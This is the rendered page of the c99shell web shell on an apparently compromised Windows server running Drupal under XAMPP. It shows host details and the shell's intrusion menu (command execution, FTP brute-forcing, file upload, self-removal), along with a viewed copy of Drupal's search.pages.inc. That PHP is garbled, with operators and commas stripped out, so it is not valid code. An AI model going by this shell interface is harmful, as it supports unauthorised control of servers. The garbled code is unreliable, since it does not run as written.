!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\htdocs\drupal\modules\search\   drwxrwxrwx
Free 7.26 GB of 239.26 GB (3.03%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     search.pages.inc (4.17 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: search.pages.inc,v 1.4 2007/12/06 09:51:01 goba Exp $

/**
 * @file
 * User page callbacks for the search module.
 */

/**
 * Menu callback; presents the search form and/or search results.
 */
function search_view($type 'node') {
  
// Search form submits with POST but redirects to GET. This way we can keep
  // the search query URL clean as a whistle:
  // search/type/keyword+keyword
  
if (!isset($_POST['form_id'])) {
    if (
$type == '') {
      
// Note: search/node can not be a default tab because it would take on the
      // path of its parent (search). It would prevent remembering keywords when
      // switching tabs. This is why we drupal_goto to it from the parent instead.
      
drupal_goto('search/node');
    }

    
$keys search_get_keys();
    
// Only perform search if there is non-whitespace search term:
    
$results '';
    if (
trim($keys)) {
      
// Log the search keys:
      
watchdog('search''%keys (@type).', array('%keys' => $keys'@type' => module_invoke($type'search''name')), WATCHDOG_NOTICEl(t('results'), 'search/'$type .'/'$keys));

      
// Collect the search results:
      
$results search_data($keys$type);

      if (
$results) {
        
$results theme('box't('Search results'), $results);
      }
      else {
        
$results theme('box't('Your search yielded no results'), search_help('search#noresults'drupal_help_arg()));
      }
    }

    
// Construct the search form.
    
$output drupal_get_form('search_form'NULL$keys$type);
    
$output .= $results;

    return 
$output;
  }

  return 
drupal_get_form('search_form'NULL, empty($keys) ? '' $keys$type);
}

/**
 * Process variables for search-results.tpl.php.
 *
 * The $variables array contains the following arguments:
 * - $results
 * - $type
 *
 * @see search-results.tpl.php
 */
function template_preprocess_search_results(&$variables) {
  
$variables['search_results'] = '';
  foreach (
$variables['results'] as $result) {
    
$variables['search_results'] .= theme('search_result'$result$variables['type']);
  }
  
$variables['pager'] = theme('pager'NULL100);
  
// Provide alternate search results template.
  
$variables['template_files'][] = 'search-results-'$variables['type'];
}

/**
 * Process variables for search-result.tpl.php.
 *
 * The $variables array contains the following arguments:
 * - $result
 * - $type
 *
 * @see search-result.tpl.php
 */
function template_preprocess_search_result(&$variables) {
  
$result $variables['result'];
  
$variables['url'] = check_url($result['link']);
  
$variables['title'] = check_plain($result['title']);

  
$info = array();
  if (!empty(
$result['type'])) {
    
$info['type'] = check_plain($result['type']);
  }
  if (!empty(
$result['user'])) {
    
$info['user'] = $result['user'];
  }
  if (!empty(
$result['date'])) {
    
$info['date'] = format_date($result['date'], 'small');
  }
  if (isset(
$result['extra']) && is_array($result['extra'])) {
    
$info array_merge($info$result['extra']);
  }
  
// Check for existence. User search does not include snippets.
  
$variables['snippet'] = isset($result['snippet']) ? $result['snippet'] : '';
  
// Provide separated and grouped meta information..
  
$variables['info_split'] = $info;
  
$variables['info'] = implode(' - '$info);
  
// Provide alternate search result template.
  
$variables['template_files'][] = 'search-result-'$variables['type'];
}

/**
 * As the search form collates keys from other modules hooked in via
 * hook_form_alter, the validation takes place in _submit.
 * search_form_validate() is used solely to set the 'processed_keys' form
 * value for the basic search form.
 */
function search_form_validate($form, &$form_state) {
  
form_set_value($form['basic']['inline']['processed_keys'], trim($form_state['values']['keys']), $form_state);
}

/**
 * Process a search form submission.
 */
function search_form_submit($form, &$form_state) {
  
$keys $form_state['values']['processed_keys'];
  if (
$keys == '') {
    
form_set_error('keys't('Please enter some keywords.'));
    
// Fall through to the drupal_goto() call.
  
}

  
$type $form_state['values']['module'] ? $form_state['values']['module'] : 'node';
  
$form_state['redirect'] = 'search/'$type .'/'$keys;
  return;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0936 ]--